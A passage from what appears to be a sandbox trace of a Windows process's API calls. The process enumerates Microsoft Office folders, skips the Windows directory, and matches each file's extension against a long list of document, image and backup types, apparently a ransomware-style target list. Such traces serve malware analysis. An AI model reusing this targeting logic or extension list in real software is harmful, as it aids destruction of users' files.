ftLastAccessTime.dwLowDateTime=0x60440c50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x60440c50, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0140.809] FindNextFileW (in: hFindFile=0x41916c0, lpFindFileData=0x377eb9c | out: lpFindFileData=0x377eb9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80130d00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x60440c50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x80130d00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xe1b, dwReserved0=0x0, dwReserved1=0x0, cFileName="computericon.jpg", cAlternateFileName="COMPUT~1.JPG")) returned 1 [0140.809] lstrlenW (lpString="computericon.jpg") returned 16 [0140.809] lstrlenW (lpString=".1cd") returned 4 [0140.809] lstrcmpiW (lpString1=".1cd", lpString2=".jpg") returned -1 [0140.809] lstrlenW (lpString=".3ds") returned 4 [0140.809] lstrcmpiW (lpString1=".3ds", lpString2=".jpg") returned -1 [0140.809] lstrlenW (lpString=".3fr") returned 4 [0140.809] lstrcmpiW (lpString1=".3fr", lpString2=".jpg") returned -1 [0140.809] lstrlenW (lpString=".3g2") returned 4 [0140.809] lstrcmpiW (lpString1=".3g2", lpString2=".jpg") returned -1 [0140.810] lstrlenW (lpString=".3gp") returned 4 [0140.810] lstrcmpiW (lpString1=".3gp", lpString2=".jpg") returned -1 [0140.810] lstrlenW (lpString=".7z") returned 3 [0140.810] lstrcmpiW (lpString1=".7z", lpString2="jpg") returned -1 [0140.810] lstrlenW (lpString=".accda") returned 6 [0140.810] lstrcmpiW (lpString1=".accda", lpString2="on.jpg") returned -1 [0140.810] lstrlenW (lpString=".accdb") returned 6 [0140.810] lstrcmpiW (lpString1=".accdb", lpString2="on.jpg") returned -1 [0140.810] lstrlenW (lpString=".accdc") returned 6 [0140.810] lstrcmpiW (lpString1=".accdc", lpString2="on.jpg") returned -1 [0140.810] lstrlenW (lpString=".accde") returned 6 [0140.810] lstrcmpiW (lpString1=".accde", lpString2="on.jpg") returned -1 [0140.810] lstrlenW (lpString=".accdt") returned 6 [0140.810] lstrcmpiW (lpString1=".accdt", lpString2="on.jpg") returned -1 [0140.810] lstrlenW (lpString=".accdw") returned 6 [0140.810] lstrcmpiW (lpString1=".accdw", lpString2="on.jpg") returned -1 [0140.810] lstrlenW (lpString=".adb") returned 4 [0140.810] lstrcmpiW (lpString1=".adb", lpString2=".jpg") returned -1 [0140.810] lstrlenW (lpString=".adp") returned 4 [0140.810] lstrcmpiW (lpString1=".adp", lpString2=".jpg") returned -1 [0140.810] lstrlenW (lpString=".ai") returned 3 [0140.810] lstrcmpiW (lpString1=".ai", lpString2="jpg") returned -1 [0140.810] lstrlenW (lpString=".ai3") returned 4 [0140.810] lstrcmpiW (lpString1=".ai3", lpString2=".jpg") returned -1 [0140.810] lstrlenW (lpString=".ai4") returned 4 [0140.810] lstrcmpiW (lpString1=".ai4", lpString2=".jpg") returned -1 [0140.811] lstrlenW (lpString=".ai5") returned 4 [0140.811] lstrcmpiW (lpString1=".ai5", lpString2=".jpg") returned -1 [0140.811] lstrlenW (lpString=".ai6") returned 4 [0140.811] lstrcmpiW (lpString1=".ai6", lpString2=".jpg") returned -1 [0140.811] lstrlenW (lpString=".ai7") returned 4 [0140.811] lstrcmpiW (lpString1=".ai7", lpString2=".jpg") returned -1 [0140.811] lstrlenW (lpString=".ai8") returned 4 [0140.811] lstrcmpiW (lpString1=".ai8", lpString2=".jpg") returned -1 [0140.811] lstrlenW (lpString=".anim") returned 5 [0140.811] lstrcmpiW (lpString1=".anim", lpString2="n.jpg") returned -1 [0140.811] lstrlenW (lpString=".arw") returned 4 [0140.811] lstrcmpiW (lpString1=".arw", lpString2=".jpg") returned -1 [0140.811] lstrlenW (lpString=".as") returned 3 [0140.811] lstrcmpiW (lpString1=".as", lpString2="jpg") returned -1 [0140.811] lstrlenW (lpString=".asa") returned 4 [0140.811] lstrcmpiW (lpString1=".asa", lpString2=".jpg") returned -1 [0140.811] lstrlenW (lpString=".asc") returned 4 [0140.811] lstrcmpiW (lpString1=".asc", lpString2=".jpg") returned -1 [0140.811] lstrlenW (lpString=".ascx") returned 5 [0140.811] lstrcmpiW (lpString1=".ascx", lpString2="n.jpg") returned -1 [0140.811] lstrlenW (lpString=".asm") returned 4 [0140.811] lstrcmpiW (lpString1=".asm", lpString2=".jpg") returned -1 [0140.811] lstrlenW (lpString=".asmx") returned 5 [0140.811] lstrcmpiW (lpString1=".asmx", lpString2="n.jpg") returned -1 [0140.811] lstrlenW (lpString=".asp") returned 4 [0140.811] lstrcmpiW (lpString1=".asp", lpString2=".jpg") returned -1 [0140.811] lstrlenW (lpString=".aspx") returned 5 [0140.811] lstrcmpiW (lpString1=".aspx", lpString2="n.jpg") returned -1 [0140.812] lstrlenW (lpString=".asr") returned 4 [0140.812] lstrcmpiW (lpString1=".asr", lpString2=".jpg") returned -1 [0140.812] lstrlenW (lpString=".asx") returned 4 [0140.812] lstrcmpiW (lpString1=".asx", lpString2=".jpg") returned -1 [0140.812] lstrlenW (lpString=".avi") returned 4 [0140.812] lstrcmpiW (lpString1=".avi", lpString2=".jpg") returned -1 [0140.812] lstrlenW (lpString=".avs") returned 4 [0140.812] lstrcmpiW (lpString1=".avs", lpString2=".jpg") returned -1 [0140.812] lstrlenW (lpString=".backup") returned 7 [0140.812] lstrcmpiW (lpString1=".backup", lpString2="con.jpg") returned -1 [0140.812] lstrlenW (lpString=".bak") returned 4 [0140.812] lstrcmpiW (lpString1=".bak", lpString2=".jpg") returned -1 [0140.812] lstrlenW (lpString=".bay") returned 4 [0140.812] lstrcmpiW (lpString1=".bay", lpString2=".jpg") returned -1 [0140.812] lstrlenW (lpString=".bd") returned 3 [0140.812] lstrcmpiW (lpString1=".bd", lpString2="jpg") returned -1 [0140.812] lstrlenW (lpString=".bin") returned 4 [0140.812] lstrcmpiW (lpString1=".bin", lpString2=".jpg") returned -1 [0140.812] lstrlenW (lpString=".bmp") returned 4 [0140.812] lstrcmpiW (lpString1=".bmp", lpString2=".jpg") returned -1 [0140.812] lstrlenW (lpString=".bz2") returned 4 [0140.812] lstrcmpiW (lpString1=".bz2", lpString2=".jpg") returned -1 [0140.813] lstrlenW (lpString=".c") returned 2 [0140.813] lstrcmpiW (lpString1=".c", lpString2="pg") returned -1 [0140.813] lstrlenW (lpString=".cdr") returned 4 [0140.813] lstrcmpiW (lpString1=".cdr", lpString2=".jpg") returned -1 [0140.813] lstrlenW (lpString=".cer") returned 4 [0140.813] lstrcmpiW (lpString1=".cer", lpString2=".jpg") returned -1 [0140.813] lstrlenW (lpString=".cf") returned 3 [0140.813] lstrcmpiW (lpString1=".cf", lpString2="jpg") returned -1 [0140.813] lstrlenW (lpString=".cfc") returned 4 [0140.813] lstrcmpiW (lpString1=".cfc", lpString2=".jpg") returned -1 [0140.813] lstrlenW (lpString=".cfm") returned 4 [0140.813] lstrcmpiW (lpString1=".cfm", lpString2=".jpg") returned -1 [0140.813] lstrlenW (lpString=".cfml") returned 5 [0140.813] lstrcmpiW (lpString1=".cfml", lpString2="n.jpg") returned -1 [0140.813] lstrlenW (lpString=".cfu") returned 4 [0140.813] lstrcmpiW (lpString1=".cfu", lpString2=".jpg") returned -1 [0140.813] lstrlenW (lpString=".chm") returned 4 [0140.813] lstrcmpiW (lpString1=".chm", lpString2=".jpg") returned -1 [0140.813] lstrlenW (lpString=".cin") returned 4 [0140.813] lstrcmpiW (lpString1=".cin", lpString2=".jpg") returned -1 [0140.813] lstrlenW (lpString=".class") returned 6 [0140.813] lstrcmpiW (lpString1=".class", lpString2="on.jpg") returned -1 [0140.813] lstrlenW (lpString=".clx") returned 4 [0140.813] lstrcmpiW (lpString1=".clx", lpString2=".jpg") returned -1 [0140.813] lstrlenW (lpString=".config") returned 7 [0140.813] lstrcmpiW (lpString1=".config", lpString2="con.jpg") returned -1 [0140.813] lstrlenW (lpString=".cpp") returned 4 [0140.813] lstrcmpiW (lpString1=".cpp", lpString2=".jpg") returned -1 [0140.813] lstrlenW (lpString=".cr2") returned 4 [0140.813] lstrcmpiW (lpString1=".cr2", lpString2=".jpg") returned -1 [0140.814] lstrlenW (lpString=".crt") returned 4 [0140.814] lstrcmpiW (lpString1=".crt", lpString2=".jpg") returned -1 [0140.814] lstrlenW (lpString=".crw") returned 4 [0140.814] lstrcmpiW (lpString1=".crw", lpString2=".jpg") returned -1 [0140.814] lstrlenW (lpString=".cs") returned 3 [0140.814] lstrcmpiW (lpString1=".cs", lpString2="jpg") returned -1 [0140.814] lstrlenW (lpString=".css") returned 4 [0140.814] lstrcmpiW (lpString1=".css", lpString2=".jpg") returned -1 [0140.814] lstrlenW (lpString=".csv") returned 4 [0140.814] lstrcmpiW (lpString1=".csv", lpString2=".jpg") returned -1 [0140.814] lstrlenW (lpString=".cub") returned 4 [0140.814] lstrcmpiW (lpString1=".cub", lpString2=".jpg") returned -1 [0140.814] lstrlenW (lpString=".dae") returned 4 [0140.814] lstrcmpiW (lpString1=".dae", lpString2=".jpg") returned -1 [0140.814] lstrlenW (lpString=".dat") returned 4 [0140.814] lstrcmpiW (lpString1=".dat", lpString2=".jpg") returned -1 [0140.814] lstrlenW (lpString=".db") returned 3 [0140.814] lstrcmpiW (lpString1=".db", lpString2="jpg") returned -1 [0140.814] lstrlenW (lpString=".dbf") returned 4 [0140.814] lstrcmpiW (lpString1=".dbf", lpString2=".jpg") returned -1 [0140.814] lstrlenW (lpString=".dbx") returned 4 [0140.814] lstrcmpiW (lpString1=".dbx", lpString2=".jpg") returned -1 [0140.814] lstrlenW (lpString=".dc3") returned 4 [0140.814] lstrcmpiW (lpString1=".dc3", lpString2=".jpg") returned -1 [0140.814] lstrlenW (lpString=".dcm") returned 4 [0140.814] lstrcmpiW (lpString1=".dcm", lpString2=".jpg") returned -1 [0140.814] lstrlenW (lpString=".dcr") returned 4 [0140.814] lstrcmpiW (lpString1=".dcr", lpString2=".jpg") returned -1 [0140.814] lstrlenW (lpString=".der") returned 4 [0140.814] lstrcmpiW (lpString1=".der", lpString2=".jpg") returned -1 [0140.815] lstrlenW (lpString=".dib") returned 4 [0140.815] lstrcmpiW (lpString1=".dib", lpString2=".jpg") returned -1 [0140.815] lstrlenW (lpString=".dic") returned 4 [0140.815] lstrcmpiW (lpString1=".dic", lpString2=".jpg") returned -1 [0140.815] lstrlenW (lpString=".dif") returned 4 [0140.815] lstrcmpiW (lpString1=".dif", lpString2=".jpg") returned -1 [0140.815] lstrlenW (lpString=".divx") returned 5 [0140.815] lstrcmpiW (lpString1=".divx", lpString2="n.jpg") returned -1 [0140.815] lstrlenW (lpString=".djvu") returned 5 [0140.815] lstrcmpiW (lpString1=".djvu", lpString2="n.jpg") returned -1 [0140.815] lstrlenW (lpString=".dng") returned 4 [0140.815] lstrcmpiW (lpString1=".dng", lpString2=".jpg") returned -1 [0140.815] lstrlenW (lpString=".doc") returned 4 [0140.815] lstrcmpiW (lpString1=".doc", lpString2=".jpg") returned -1 [0140.815] lstrlenW (lpString=".docm") returned 5 [0140.815] lstrcmpiW (lpString1=".docm", lpString2="n.jpg") returned -1 [0140.815] lstrlenW (lpString=".docx") returned 5 [0140.815] lstrcmpiW (lpString1=".docx", lpString2="n.jpg") returned -1 [0140.815] lstrlenW (lpString=".dot") returned 4 [0140.815] lstrcmpiW (lpString1=".dot", lpString2=".jpg") returned -1 [0140.815] lstrlenW (lpString=".dotm") returned 5 [0140.815] lstrcmpiW (lpString1=".dotm", lpString2="n.jpg") returned -1 [0140.815] lstrlenW (lpString=".dotx") returned 5 [0140.815] lstrcmpiW (lpString1=".dotx", lpString2="n.jpg") returned -1 [0140.815] lstrlenW (lpString=".dpx") returned 4 [0140.815] lstrcmpiW (lpString1=".dpx", lpString2=".jpg") returned -1 [0140.815] lstrlenW (lpString=".dqy") returned 4 [0140.815] lstrcmpiW (lpString1=".dqy", lpString2=".jpg") returned -1 [0140.815] lstrlenW (lpString=".dsn") returned 4 [0140.815] lstrcmpiW (lpString1=".dsn", lpString2=".jpg") returned -1 [0140.815] lstrlenW (lpString=".dt") returned 3 [0140.815] lstrcmpiW (lpString1=".dt", lpString2="jpg") returned -1 [0140.816] lstrlenW (lpString=".dtd") returned 4 [0140.816] lstrcmpiW (lpString1=".dtd", lpString2=".jpg") returned -1 [0140.816] lstrlenW (lpString=".dwg") returned 4 [0140.816] lstrcmpiW (lpString1=".dwg", lpString2=".jpg") returned -1 [0140.816] lstrlenW (lpString=".dwt") returned 4 [0140.816] lstrcmpiW (lpString1=".dwt", lpString2=".jpg") returned -1 [0140.816] lstrlenW (lpString=".dx") returned 3 [0140.816] lstrcmpiW (lpString1=".dx", lpString2="jpg") returned -1 [0140.816] lstrlenW (lpString=".dxf") returned 4 [0140.816] lstrcmpiW (lpString1=".dxf", lpString2=".jpg") returned -1 [0140.816] lstrlenW (lpString=".edml") returned 5 [0140.816] lstrcmpiW (lpString1=".edml", lpString2="n.jpg") returned -1 [0140.816] lstrlenW (lpString=".efd") returned 4 [0140.816] lstrcmpiW (lpString1=".efd", lpString2=".jpg") returned -1 [0140.816] lstrlenW (lpString=".elf") returned 4 [0140.816] lstrcmpiW (lpString1=".elf", lpString2=".jpg") returned -1 [0140.816] lstrlenW (lpString=".emf") returned 4 [0140.816] lstrcmpiW (lpString1=".emf", lpString2=".jpg") returned -1 [0140.816] lstrlenW (lpString=".emz") returned 4 [0140.816] lstrcmpiW (lpString1=".emz", lpString2=".jpg") returned -1 [0140.816] lstrlenW (lpString=".epf") returned 4 [0140.816] lstrcmpiW (lpString1=".epf", lpString2=".jpg") returned -1 [0140.816] lstrlenW (lpString=".eps") returned 4 [0140.816] lstrcmpiW (lpString1=".eps", lpString2=".jpg") returned -1 [0140.816] lstrlenW (lpString=".epsf") returned 5 [0140.816] lstrcmpiW (lpString1=".epsf", lpString2="n.jpg") returned -1 [0140.816] lstrlenW (lpString=".epsp") returned 5 [0140.816] lstrcmpiW (lpString1=".epsp", lpString2="n.jpg") returned -1 [0140.816] lstrlenW (lpString=".erf") returned 4 [0140.816] lstrcmpiW (lpString1=".erf", lpString2=".jpg") returned -1 [0140.816] lstrlenW (lpString=".exr") returned 4 [0140.817] lstrcmpiW (lpString1=".exr", lpString2=".jpg") returned -1 [0140.817] lstrlenW (lpString=".f4v") returned 4 [0140.817] lstrcmpiW (lpString1=".f4v", lpString2=".jpg") returned -1 [0140.817] lstrlenW (lpString=".fido") returned 5 [0140.817] lstrcmpiW (lpString1=".fido", lpString2="n.jpg") returned -1 [0140.817] lstrlenW (lpString=".flm") returned 4 [0140.817] lstrcmpiW (lpString1=".flm", lpString2=".jpg") returned -1 [0140.817] lstrlenW (lpString=".flv") returned 4 [0140.817] lstrcmpiW (lpString1=".flv", lpString2=".jpg") returned -1 [0140.817] lstrlenW (lpString=".frm") returned 4 [0140.817] lstrcmpiW (lpString1=".frm", lpString2=".jpg") returned -1 [0140.817] lstrlenW (lpString=".fxg") returned 4 [0140.817] lstrcmpiW (lpString1=".fxg", lpString2=".jpg") returned -1 [0140.817] lstrlenW (lpString=".geo") returned 4 [0140.817] lstrcmpiW (lpString1=".geo", lpString2=".jpg") returned -1 [0140.817] lstrlenW (lpString=".gif") returned 4 [0140.817] lstrcmpiW (lpString1=".gif", lpString2=".jpg") returned -1 [0140.817] lstrlenW (lpString=".grs") returned 4 [0140.817] lstrcmpiW (lpString1=".grs", lpString2=".jpg") returned -1 [0140.817] lstrlenW (lpString=".gz") returned 3 [0140.817] lstrcmpiW (lpString1=".gz", lpString2="jpg") returned -1 [0140.817] lstrlenW (lpString=".h") returned 2 [0140.817] lstrcmpiW (lpString1=".h", lpString2="pg") returned -1 [0140.817] lstrlenW (lpString=".hdr") returned 4 [0140.817] lstrcmpiW (lpString1=".hdr", lpString2=".jpg") returned -1 [0140.817] lstrlenW (lpString=".hpp") returned 4 [0140.817] lstrcmpiW (lpString1=".hpp", lpString2=".jpg") returned -1 [0140.817] lstrlenW (lpString=".hta") returned 4 [0140.817] lstrcmpiW (lpString1=".hta", lpString2=".jpg") returned -1 [0140.817] lstrlenW (lpString=".htc") returned 4 [0140.817] lstrcmpiW (lpString1=".htc", lpString2=".jpg") returned -1 [0140.818] lstrlenW (lpString=".htm") returned 4 [0140.818] lstrcmpiW (lpString1=".htm", lpString2=".jpg") returned -1 [0140.818] lstrlenW (lpString=".html") returned 5 [0140.818] lstrcmpiW (lpString1=".html", lpString2="n.jpg") returned -1 [0140.818] lstrlenW (lpString=".icb") returned 4 [0140.818] lstrcmpiW (lpString1=".icb", lpString2=".jpg") returned -1 [0140.818] lstrlenW (lpString=".ics") returned 4 [0140.818] lstrcmpiW (lpString1=".ics", lpString2=".jpg") returned -1 [0140.818] lstrlenW (lpString=".iff") returned 4 [0140.818] lstrcmpiW (lpString1=".iff", lpString2=".jpg") returned -1 [0140.818] lstrlenW (lpString=".inc") returned 4 [0140.818] lstrcmpiW (lpString1=".inc", lpString2=".jpg") returned -1 [0140.818] lstrlenW (lpString=".indd") returned 5 [0140.818] lstrcmpiW (lpString1=".indd", lpString2="n.jpg") returned -1 [0140.818] lstrlenW (lpString=".ini") returned 4 [0140.818] lstrcmpiW (lpString1=".ini", lpString2=".jpg") returned -1 [0140.818] lstrlenW (lpString=".iqy") returned 4 [0140.818] lstrcmpiW (lpString1=".iqy", lpString2=".jpg") returned -1 [0140.818] lstrlenW (lpString=".j2c") returned 4 [0140.818] lstrcmpiW (lpString1=".j2c", lpString2=".jpg") returned -1 [0140.818] lstrlenW (lpString=".j2k") returned 4 [0140.818] lstrcmpiW (lpString1=".j2k", lpString2=".jpg") returned -1 [0140.818] lstrlenW (lpString=".java") returned 5 [0140.818] lstrcmpiW (lpString1=".java", lpString2="n.jpg") returned -1 [0140.818] lstrlenW (lpString=".jp2") returned 4 [0140.818] lstrcmpiW (lpString1=".jp2", lpString2=".jpg") returned -1 [0140.818] lstrlenW (lpString=".jpc") returned 4 [0140.818] lstrcmpiW (lpString1=".jpc", lpString2=".jpg") returned -1 [0140.818] lstrlenW (lpString=".jpe") returned 4 [0140.818] lstrcmpiW (lpString1=".jpe", lpString2=".jpg") returned -1 [0140.818] lstrlenW (lpString=".jpeg") returned 5 [0140.819] lstrcmpiW (lpString1=".jpeg", lpString2="n.jpg") returned -1 [0140.819] lstrlenW (lpString=".jpf") returned 4 [0140.819] lstrcmpiW (lpString1=".jpf", lpString2=".jpg") returned -1 [0140.819] lstrlenW (lpString=".jpg") returned 4 [0140.819] lstrcmpiW (lpString1=".jpg", lpString2=".jpg") returned 0 [0140.819] FindNextFileW (in: hFindFile=0x41916c0, lpFindFileData=0x377eb9c | out: lpFindFileData=0x377eb9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80130d00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x51cc30d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x80130d00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x838, dwReserved0=0x0, dwReserved1=0x0, cFileName="computericonMask.bmp", cAlternateFileName="COMPUT~1.BMP")) returned 1 [0140.819] lstrlenW (lpString="computericonMask.bmp") returned 20 [0140.819] lstrlenW (lpString=".1cd") returned 4 [0140.819] lstrcmpiW (lpString1=".1cd", lpString2=".bmp") returned -1 [0140.819] lstrlenW (lpString=".3ds") returned 4 [0140.819] lstrcmpiW (lpString1=".3ds", lpString2=".bmp") returned -1 [0140.819] lstrlenW (lpString=".3fr") returned 4 [0140.819] lstrcmpiW (lpString1=".3fr", lpString2=".bmp") returned -1 [0140.819] lstrlenW (lpString=".3g2") returned 4 [0140.819] lstrcmpiW (lpString1=".3g2", lpString2=".bmp") returned -1 [0140.819] lstrlenW (lpString=".3gp") returned 4 [0140.819] lstrcmpiW (lpString1=".3gp", lpString2=".bmp") returned -1 [0140.819] lstrlenW (lpString=".7z") returned 3 [0140.819] lstrcmpiW (lpString1=".7z", lpString2="bmp") returned -1 [0140.819] lstrlenW (lpString=".accda") returned 6 [0140.819] lstrcmpiW (lpString1=".accda", lpString2="sk.bmp") returned -1 [0140.819] lstrlenW (lpString=".accdb") returned 6 [0140.819] lstrcmpiW (lpString1=".accdb", lpString2="sk.bmp") returned -1 [0140.819] lstrlenW (lpString=".accdc") returned 6 [0140.819] lstrcmpiW (lpString1=".accdc", lpString2="sk.bmp") returned -1 [0140.819] lstrlenW (lpString=".accde") returned 6 [0140.819] lstrcmpiW (lpString1=".accde", lpString2="sk.bmp") returned -1 [0140.819] lstrlenW (lpString=".accdt") returned 6 [0140.820] lstrcmpiW (lpString1=".accdt", lpString2="sk.bmp") returned -1 [0140.820] lstrlenW (lpString=".accdw") returned 6 [0140.820] lstrcmpiW (lpString1=".accdw", lpString2="sk.bmp") returned -1 [0140.820] lstrlenW (lpString=".adb") returned 4 [0140.820] lstrcmpiW (lpString1=".adb", lpString2=".bmp") returned -1 [0140.820] lstrlenW (lpString=".adp") returned 4 [0140.820] lstrcmpiW (lpString1=".adp", lpString2=".bmp") returned -1 [0140.820] lstrlenW (lpString=".ai") returned 3 [0140.820] lstrcmpiW (lpString1=".ai", lpString2="bmp") returned -1 [0140.820] lstrlenW (lpString=".ai3") returned 4 [0140.820] lstrcmpiW (lpString1=".ai3", lpString2=".bmp") returned -1 [0140.820] lstrlenW (lpString=".ai4") returned 4 [0140.820] lstrcmpiW (lpString1=".ai4", lpString2=".bmp") returned -1 [0140.820] lstrlenW (lpString=".ai5") returned 4 [0140.820] lstrcmpiW (lpString1=".ai5", lpString2=".bmp") returned -1 [0140.820] lstrlenW (lpString=".ai6") returned 4 [0140.820] lstrcmpiW (lpString1=".ai6", lpString2=".bmp") returned -1 [0140.820] lstrlenW (lpString=".ai7") returned 4 [0140.820] lstrcmpiW (lpString1=".ai7", lpString2=".bmp") returned -1 [0140.820] lstrlenW (lpString=".ai8") returned 4 [0140.820] lstrcmpiW (lpString1=".ai8", lpString2=".bmp") returned -1 [0140.820] lstrlenW (lpString=".anim") returned 5 [0140.820] lstrcmpiW (lpString1=".anim", lpString2="k.bmp") returned -1 [0140.820] lstrlenW (lpString=".arw") returned 4 [0140.820] lstrcmpiW (lpString1=".arw", lpString2=".bmp") returned -1 [0140.820] lstrlenW (lpString=".as") returned 3 [0140.821] lstrcmpiW (lpString1=".as", lpString2="bmp") returned -1 [0140.821] lstrlenW (lpString=".asa") returned 4 [0140.821] lstrcmpiW (lpString1=".asa", lpString2=".bmp") returned -1 [0140.821] lstrlenW (lpString=".asc") returned 4 [0140.821] lstrcmpiW (lpString1=".asc", lpString2=".bmp") returned -1 [0140.821] lstrlenW (lpString=".ascx") returned 5 [0140.821] lstrcmpiW (lpString1=".ascx", lpString2="k.bmp") returned -1 [0140.821] lstrlenW (lpString=".asm") returned 4 [0140.821] lstrcmpiW (lpString1=".asm", lpString2=".bmp") returned -1 [0140.821] lstrlenW (lpString=".asmx") returned 5 [0140.821] lstrcmpiW (lpString1=".asmx", lpString2="k.bmp") returned -1 [0140.821] lstrlenW (lpString=".asp") returned 4 [0140.821] lstrcmpiW (lpString1=".asp", lpString2=".bmp") returned -1 [0140.821] lstrlenW (lpString=".aspx") returned 5 [0140.821] lstrcmpiW (lpString1=".aspx", lpString2="k.bmp") returned -1 [0140.821] lstrlenW (lpString=".asr") returned 4 [0140.821] lstrcmpiW (lpString1=".asr", lpString2=".bmp") returned -1 [0140.821] lstrlenW (lpString=".asx") returned 4 [0140.821] lstrcmpiW (lpString1=".asx", lpString2=".bmp") returned -1 [0140.821] lstrlenW (lpString=".avi") returned 4 [0140.821] lstrcmpiW (lpString1=".avi", lpString2=".bmp") returned -1 [0140.821] lstrlenW (lpString=".avs") returned 4 [0140.821] lstrcmpiW (lpString1=".avs", lpString2=".bmp") returned -1 [0140.821] lstrlenW (lpString=".backup") returned 7 [0140.821] lstrcmpiW (lpString1=".backup", lpString2="ask.bmp") returned -1 [0140.821] lstrlenW (lpString=".bak") returned 4 [0140.821] lstrcmpiW (lpString1=".bak", lpString2=".bmp") returned -1 [0140.821] lstrlenW (lpString=".bay") returned 4 [0140.821] lstrcmpiW (lpString1=".bay", lpString2=".bmp") returned -1 [0140.822] lstrlenW (lpString=".bd") returned 3 [0140.822] lstrcmpiW (lpString1=".bd", lpString2="bmp") returned -1 [0140.822] lstrlenW (lpString=".bin") returned 4 [0140.822] lstrcmpiW (lpString1=".bin", lpString2=".bmp") returned -1 [0140.822] lstrlenW (lpString=".bmp") returned 4 [0140.822] lstrcmpiW (lpString1=".bmp", lpString2=".bmp") returned 0 [0140.822] FindNextFileW (in: hFindFile=0x41916c0, lpFindFileData=0x377eb9c | out: lpFindFileData=0x377eb9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80130d00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x51cc30d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x80130d00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x838, dwReserved0=0x0, dwReserved1=0x0, cFileName="computericonMask.bmp", cAlternateFileName="COMPUT~1.BMP")) returned 0 [0140.822] FindClose (in: hFindFile=0x41916c0 | out: hFindFile=0x41916c0) returned 1 [0140.823] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x428df78 | out: hHeap=0x300000) returned 1 [0140.823] FindNextFileW (in: hFindFile=0x4191680, lpFindFileData=0x377ee18 | out: lpFindFileData=0x377ee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51e19d30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x607d2d50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x607d2d50, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Discussion", cAlternateFileName="DISCUS~1")) returned 1 [0140.823] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\Discussion") returned 80 [0140.823] lstrcmpiW (lpString1="C:\\Windows", lpString2="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\Discussion") returned 1 [0140.823] lstrlenW (lpString="Discussion") returned 10 [0140.823] lstrcmpiW (lpString1="C:\\Windows", lpString2="Discussion") returned -1 [0140.823] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xfffe) returned 0x428df78 [0140.823] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\Discussion") returned 80 [0140.823] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\Discussion\\*", lpFindFileData=0x377eb9c | out: lpFindFileData=0x377eb9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51e19d30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x607d2d50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x607d2d50, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x41916c0 [0140.823] FindNextFileW (in: hFindFile=0x41916c0, lpFindFileData=0x377eb9c | out: lpFindFileData=0x377eb9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51e19d30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x607d2d50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x607d2d50, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0140.823] FindNextFileW (in: hFindFile=0x41916c0, lpFindFileData=0x377eb9c | out: lpFindFileData=0x377eb9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb0009600, ftCreationTime.dwHighDateTime=0x1ca0588, ftLastAccessTime.dwLowDateTime=0x51e19d30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb0009600, ftLastWriteTime.dwHighDateTime=0x1ca0588, nFileSizeHigh=0x0, nFileSizeLow=0x393c, dwReserved0=0x0, dwReserved1=0x0, cFileName="DiscussionToolIconImages.jpg", cAlternateFileName="DISCUS~1.JPG")) returned 1 [0140.824] lstrlenW (lpString="DiscussionToolIconImages.jpg") returned 28 [0140.824] lstrlenW (lpString=".1cd") returned 4 [0140.824] lstrcmpiW (lpString1=".1cd", lpString2=".jpg") returned -1 [0140.824] lstrlenW (lpString=".3ds") returned 4 [0140.824] lstrcmpiW (lpString1=".3ds", lpString2=".jpg") returned -1 [0140.824] lstrlenW (lpString=".3fr") returned 4 [0140.824] lstrcmpiW (lpString1=".3fr", lpString2=".jpg") returned -1 [0140.824] lstrlenW (lpString=".3g2") returned 4 [0140.824] lstrcmpiW (lpString1=".3g2", 